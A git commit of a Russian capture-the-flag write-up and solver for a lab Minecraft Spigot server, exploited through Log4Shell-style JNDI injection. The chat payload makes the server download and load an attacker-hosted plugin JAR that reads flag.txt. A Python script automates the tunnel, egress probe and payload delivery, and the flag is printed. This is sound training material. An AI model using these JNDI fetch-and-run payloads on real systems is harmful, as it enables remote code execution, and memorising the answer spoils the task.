Init. Commit
This commit is contained in:
@@ -0,0 +1,126 @@
|
||||
<h1 align="center">SYKTYV/KAR</h1>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/category-Minecraft-blueviolet" alt="Minecraft"/>
|
||||
</p>
|
||||
|
||||
После возвращения SYKTYV/KAR к штатной работе её аварийные копии отправили на удаление. На последнем узле осталась цифровая копия кольца со стеллой. Очистка каждый раз останавливается с сообщением «На территории остались жители».
|
||||
|
||||
На старте есть индивидуальный SSH-доступ к узлу с Minecraft-миром. Нужно найти дорогу к стелле и выяснить, кто остался на территории после завершения симуляции.
|
||||
|
||||
## Решение
|
||||
|
||||
Подключитесь к узлу по выданным SSH-реквизитам.
|
||||
|
||||
```bash
|
||||
ssh -p <port> player@<node-ip>
|
||||
```
|
||||
|
||||
Пользователь работает в ограниченном `rbash`, а неизменяемый `PATH` указывает на `/opt/diag`. Доступные диагностические утилиты позволяют узнать имя серверного JAR и открытый порт.
|
||||
|
||||
```bash
|
||||
ps aux # java -jar /opt/minecraft/spigot-1.16.5.jar
|
||||
ss -ltn # 25565 слушает
|
||||
```
|
||||
|
||||
Процесс запущен с `spigot-1.16.5.jar`, сервер слушает порт `25565`. Сам номер версии ещё не доказывает наличие Log4Shell (CVE-2021-44228), поскольку для 1.16.5 выпускались [исправленные сборки](https://www.spigotmc.org/threads/spigot-security-releases-%E2%80%94-1-8-8%E2%80%931-18.537204/). Проверьте обработку `${jndi:...}` в чате.
|
||||
|
||||
Для доступа к Minecraft пробросьте порт через SSH.
|
||||
|
||||
```bash
|
||||
ssh -N -p <port> player@<node-ip> -L 25565:127.0.0.1:25565
|
||||
```
|
||||
|
||||
Подключитесь клиентом Minecraft Java **1.16.5** к `127.0.0.1:25565`. Сервер работает в offline mode и принимает любой ник.
|
||||
|
||||
В MOTD есть глифы Standard Galactic Alphabet. Вторая строка декодируется в `jebat jnl`, а после ROT13 получается `wrong way`. Эта подсказка ведёт в тупик.
|
||||
|
||||
### Проверка обработчика
|
||||
|
||||
Запустите LDAP-сервер, который на поисковый запрос возвращает следующие атрибуты.
|
||||
|
||||
```text
|
||||
javaCodeBase: http://<my-ip>:8000/garbage
|
||||
javaFactory: pwn.Pwned
|
||||
```
|
||||
|
||||
По адресу из `javaCodeBase` разместите тестовый файл `garbage` с произвольным содержимым и откройте к нему доступ по HTTP.
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000 --bind 0.0.0.0
|
||||
```
|
||||
|
||||
Отправьте JNDI-ссылку в чат.
|
||||
|
||||
```text
|
||||
${jndi:ldap://<my-ip>:1389/Exploit}
|
||||
```
|
||||
|
||||
Сервер обращается по ссылке, скачивает файл из `javaCodeBase` и пытается загрузить его как плагин. В чате появляется ошибка.
|
||||
|
||||
```text
|
||||
Could not load plugin in folder 'plugins': invalid plugin JAR
|
||||
```
|
||||
|
||||
Ошибка указывает на загрузку Bukkit-плагина. В этом стенде обработчик `${jndi:...}` передаёт скачанный JAR в HotLoader. Для получения флага подходит плагин, который прочитает файл при загрузке.
|
||||
|
||||
### Загрузка плагина
|
||||
|
||||
Подготовьте Bukkit-плагин для Spigot 1.16.5, используя `spigot-api` версии 1.16.5 и байткод Java 8. Укажите класс `pwn.Pwned` в `plugin.yml`.
|
||||
|
||||
```yaml
|
||||
name: Pwned
|
||||
version: 1.0.0
|
||||
main: pwn.Pwned
|
||||
api-version: "1.16"
|
||||
```
|
||||
|
||||
В `Pwned.java` добавьте обработчик `onEnable()`, который читает `flag.txt` из рабочей директории сервера и отправляет содержимое в чат.
|
||||
|
||||
```java
|
||||
package pwn;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
public final class Pwned extends JavaPlugin {
|
||||
@Override
|
||||
public void onEnable() {
|
||||
try {
|
||||
String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim();
|
||||
Bukkit.broadcastMessage("[PWN] " + flag);
|
||||
} catch (Exception exception) {
|
||||
Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Упакуйте `plugin.yml` и `pwn/Pwned.class` в JAR. Готовый [Pwned.jar](solve/payload/Pwned.jar) содержит оба файла.
|
||||
|
||||
Разместите JAR на HTTP-сервере и укажите его адрес в LDAP-ответе.
|
||||
|
||||
```text
|
||||
javaCodeBase: http://<my-ip>:8000/Pwned.jar
|
||||
javaFactory: pwn.Pwned
|
||||
```
|
||||
|
||||
Повторно отправьте ссылку в чат.
|
||||
|
||||
```text
|
||||
${jndi:ldap://<my-ip>:1389/Exploit}
|
||||
```
|
||||
|
||||
Сервер скачивает JAR, проверяет формат ZIP, наличие `plugin.yml` и основного класса, затем сверяет `javaFactory` с полем `main`. После сохранения файла в `plugins/dropins/` HotLoader загружает плагин. Вызов `onEnable()` читает `flag.txt` и публикует флаг в чате.
|
||||
|
||||
В [солвере](solve/solve.py) используется прямая HTTP-доставка JAR через `${jndi:http://<my-ip>:<http-port>/pwned.jar}`.
|
||||
|
||||
## Флаг
|
||||
|
||||
`caplag{m1n3cr4ft_15_my_l1f3_XXXX}`
|
||||
|
||||
Суффикс `XXXX` зависит от выданного команде узла.
|
||||
Binary file not shown.
@@ -0,0 +1,20 @@
|
||||
package pwn;
|
||||
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.plugin.java.JavaPlugin;
|
||||
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
public final class Pwned extends JavaPlugin {
|
||||
@Override
|
||||
public void onEnable() {
|
||||
try {
|
||||
String flag = new String(Files.readAllBytes(Paths.get("flag.txt")), StandardCharsets.UTF_8).trim();
|
||||
Bukkit.broadcastMessage("[PWN] " + flag);
|
||||
} catch (Exception exception) {
|
||||
Bukkit.broadcastMessage("[PWN] flag read failed: " + exception.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
name: Pwned
|
||||
version: 1.0.0
|
||||
main: pwn.Pwned
|
||||
api-version: "1.16"
|
||||
@@ -0,0 +1,7 @@
|
||||
package org.bukkit;
|
||||
|
||||
public final class Bukkit {
|
||||
public static int broadcastMessage(String message) {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
package org.bukkit.plugin.java;
|
||||
|
||||
public class JavaPlugin {
|
||||
public void onLoad() {
|
||||
}
|
||||
|
||||
public void onEnable() {
|
||||
}
|
||||
|
||||
public void onDisable() {
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
paramiko>=3.0
|
||||
@@ -0,0 +1,275 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Minimal task checker + solver: SSH tunnel, JNDI egress, flag extraction.
|
||||
|
||||
Usage:
|
||||
python solve.py <host> <port> <user> <password> [--my-ip LAN_IP]
|
||||
|
||||
Steps:
|
||||
1. SSH direct-tcpip to the container's Minecraft port
|
||||
2. Login as an offline 1.16.5 player
|
||||
3. Start a local HTTP listener (probe + payload JAR)
|
||||
4. Send ${jndi:http://<my-ip>:<port>/check} in chat — egress probe
|
||||
5. Send ${jndi:http://<my-ip>:<port>/pwned.jar} — real payload
|
||||
6. Extract flag from chat broadcast
|
||||
"""
|
||||
import io
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import zipfile
|
||||
|
||||
try:
|
||||
import paramiko
|
||||
except ImportError:
|
||||
print("FAIL: pip install paramiko"); sys.exit(1)
|
||||
|
||||
PROTO = 754 # 1.16.5
|
||||
FLAG_MARK = "caplag{"
|
||||
FLAG_RE = re.compile(r"caplag\{[^{}\r\n]+\}")
|
||||
|
||||
|
||||
def varint(v):
|
||||
out = b""
|
||||
while True:
|
||||
b = v & 0x7F; v >>= 7
|
||||
if v: out += bytes([b | 0x80])
|
||||
else: return out + bytes([b])
|
||||
|
||||
|
||||
def dec_varint(d, p=0):
|
||||
v = 0; s = 0
|
||||
while True:
|
||||
b = d[p]; p += 1
|
||||
v |= (b & 0x7F) << s
|
||||
if not b & 0x80: return v, p
|
||||
s += 7
|
||||
|
||||
|
||||
def load_payload():
|
||||
jar = os.path.join(os.path.dirname(os.path.abspath(__file__)),
|
||||
"payload", "Pwned.jar")
|
||||
if not os.path.isfile(jar):
|
||||
return None
|
||||
suffix = str(int(time.time()))[-6:]
|
||||
src = zipfile.ZipFile(jar)
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as out:
|
||||
for item in src.infolist():
|
||||
data = src.read(item.filename)
|
||||
if item.filename == "plugin.yml":
|
||||
data = data.decode().replace(
|
||||
"name: Pwned", "name: Pwned" + suffix).encode()
|
||||
out.writestr(item, data)
|
||||
src.close()
|
||||
return buf.getvalue()
|
||||
|
||||
|
||||
class MC:
|
||||
def __init__(self, sock, nick):
|
||||
self.s = sock; self.th = -1; self.chat = []; self.lock = threading.Lock()
|
||||
self.wlock = threading.Lock()
|
||||
|
||||
def send(self, pid, body=b""):
|
||||
p = varint(pid) + body
|
||||
f = varint(0) + p if self.th >= 0 else p
|
||||
with self.wlock:
|
||||
self.s.sendall(varint(len(f)) + f)
|
||||
|
||||
def recv_pkt(self):
|
||||
ln = 0; sh = 0
|
||||
while True:
|
||||
b = self._b(1)[0]
|
||||
ln |= (b & 0x7F) << sh
|
||||
if not b & 0x80: break
|
||||
sh += 7
|
||||
raw = self._b(ln)
|
||||
if self.th >= 0:
|
||||
dl = 0; sh = 0; p = 0
|
||||
while True:
|
||||
b = raw[p]; p += 1
|
||||
dl |= (b & 0x7F) << sh
|
||||
if not b & 0x80: break
|
||||
sh += 7
|
||||
body = raw[p:]
|
||||
if dl: body = __import__("zlib").decompress(body)
|
||||
else:
|
||||
body = raw
|
||||
return body[0], body[1:]
|
||||
|
||||
def _b(self, n):
|
||||
d = b""
|
||||
while len(d) < n:
|
||||
c = self.s.recv(n - len(d))
|
||||
if not c: raise ConnectionError("closed")
|
||||
d += c
|
||||
return d
|
||||
|
||||
def login(self, nick):
|
||||
h = b"127.0.0.1"
|
||||
hs = varint(0) + varint(PROTO) + varint(len(h)) + h + struct.pack(">H", 25565) + varint(2)
|
||||
self.s.sendall(varint(len(hs)) + hs)
|
||||
self.send(0, varint(len(nick)) + nick.encode())
|
||||
for _ in range(10):
|
||||
pid, pl = self.recv_pkt()
|
||||
if pid == 3: self.th = dec_varint(pl)[0]
|
||||
elif pid == 2:
|
||||
threading.Thread(target=self._rd, daemon=True).start()
|
||||
return True
|
||||
return False
|
||||
|
||||
def _rd(self):
|
||||
import json
|
||||
while True:
|
||||
try:
|
||||
pid, pl = self.recv_pkt()
|
||||
except Exception:
|
||||
return
|
||||
if pid == 0x0E:
|
||||
try:
|
||||
jl, off = dec_varint(pl)
|
||||
obj = json.loads(pl[off:off + jl].decode("utf-8", "replace"))
|
||||
txt = []
|
||||
def w(n):
|
||||
if isinstance(n, dict):
|
||||
if "text" in n: txt.append(str(n["text"]))
|
||||
for k in ("extra", "with"):
|
||||
for i in n.get(k, []) or []: w(i)
|
||||
elif isinstance(n, str): txt.append(n)
|
||||
w(obj)
|
||||
line = "".join(txt)
|
||||
if line:
|
||||
with self.lock:
|
||||
self.chat.append(line)
|
||||
except Exception:
|
||||
pass
|
||||
elif pid == 0x21 and len(pl) == 8:
|
||||
v = int.from_bytes(pl, "big")
|
||||
if 0 < v < (1 << 40):
|
||||
self.send(0x10, pl)
|
||||
|
||||
def say(self, t):
|
||||
self.send(3, varint(len(t)) + t.encode())
|
||||
|
||||
def wait(self, m, to=20, since=0, pattern=None):
|
||||
dl = time.time() + to
|
||||
while time.time() < dl:
|
||||
with self.lock:
|
||||
for l in self.chat[since:]:
|
||||
if m in l and (pattern is None or pattern.search(l)):
|
||||
return l
|
||||
time.sleep(0.2)
|
||||
return None
|
||||
|
||||
|
||||
def main():
|
||||
if len(sys.argv) < 5:
|
||||
print(__doc__); sys.exit(1)
|
||||
host, port, user, pw = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4]
|
||||
my_ip = "127.0.0.1"
|
||||
if "--my-ip" in sys.argv:
|
||||
my_ip = sys.argv[sys.argv.index("--my-ip") + 1]
|
||||
else:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try: s.connect(("8.8.8.8", 80)); my_ip = s.getsockname()[0]
|
||||
except Exception: pass
|
||||
finally: s.close()
|
||||
|
||||
payload_jar = load_payload()
|
||||
print(f"[*] target {host}:{port} as {user}")
|
||||
print(f"[*] my IP: {my_ip}")
|
||||
if not payload_jar:
|
||||
print("FAIL: payload/Pwned.jar is missing")
|
||||
sys.exit(1)
|
||||
print("[*] payload: OK")
|
||||
|
||||
# 1. SSH tunnel
|
||||
print("[1] SSH tunnel...", end=" ", flush=True)
|
||||
try:
|
||||
cli = paramiko.SSHClient()
|
||||
cli.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
cli.connect(host, port=port, username=user, password=pw,
|
||||
look_for_keys=False, allow_agent=False, timeout=8)
|
||||
chan = cli.get_transport().open_channel(
|
||||
"direct-tcpip", ("127.0.0.1", 25565), ("127.0.0.1", 0))
|
||||
print("OK")
|
||||
except Exception as e:
|
||||
print(f"FAIL ({e})"); sys.exit(1)
|
||||
|
||||
# 2. HTTP listener (probe + payload)
|
||||
hit = []
|
||||
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
||||
class H(BaseHTTPRequestHandler):
|
||||
def do_GET(self):
|
||||
hit.append(self.path)
|
||||
body = b"x"
|
||||
if self.path == "/pwned.jar" and payload_jar:
|
||||
body = payload_jar
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Length", str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
def log_message(self, *a): pass
|
||||
httpd = ThreadingHTTPServer(("0.0.0.0", 0), H)
|
||||
http_port = httpd.server_address[1]
|
||||
threading.Thread(target=httpd.serve_forever, daemon=True).start()
|
||||
print(f"[2] HTTP listener on :{http_port}")
|
||||
|
||||
# 3. MC login
|
||||
print("[3] Minecraft login...", end=" ", flush=True)
|
||||
mc = MC(chan, "Checker")
|
||||
if not mc.login("Checker"):
|
||||
print("FAIL"); sys.exit(1)
|
||||
print("OK")
|
||||
time.sleep(3)
|
||||
with mc.lock:
|
||||
base = len(mc.chat)
|
||||
|
||||
# 4. Egress probe
|
||||
probe_url = f"http://{my_ip}:{http_port}/check"
|
||||
print(f"[4] Egress probe: {probe_url}", flush=True)
|
||||
mc.say(f"${{jndi:{probe_url}}}")
|
||||
probe_ok = False
|
||||
dl = time.time() + 15
|
||||
while time.time() < dl:
|
||||
if any("/check" in h for h in hit):
|
||||
probe_ok = True
|
||||
print("[4] PASS: egress confirmed (server fetched /check)")
|
||||
break
|
||||
r = mc.wait("Could not load plugin", to=1, since=base)
|
||||
if r:
|
||||
probe_ok = True
|
||||
print("[4] PASS: chat oracle responded")
|
||||
break
|
||||
time.sleep(0.5)
|
||||
if not probe_ok:
|
||||
print("[4] FAIL: no egress, no oracle")
|
||||
sys.exit(1)
|
||||
time.sleep(1)
|
||||
with mc.lock:
|
||||
base2 = len(mc.chat)
|
||||
|
||||
# 5. Flag extraction
|
||||
jar_url = f"http://{my_ip}:{http_port}/pwned.jar"
|
||||
print(f"[5] Sending payload: {jar_url}", flush=True)
|
||||
mc.say(f"${{jndi:{jar_url}}}")
|
||||
line = mc.wait(FLAG_MARK, to=25, since=base2, pattern=FLAG_RE)
|
||||
if line is None:
|
||||
line = mc.wait("[PWN]", to=2, since=base2)
|
||||
match = FLAG_RE.search(line) if line else None
|
||||
if match:
|
||||
print(f"[5] FLAG: {line}")
|
||||
print(f"\n {match.group(0)}\n")
|
||||
sys.exit(0)
|
||||
if line:
|
||||
print(f"[5] FAIL: plugin returned no complete flag: {line}")
|
||||
sys.exit(1)
|
||||
print("[5] FAIL: no flag in chat within 25s")
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
Reference in New Issue
Block a user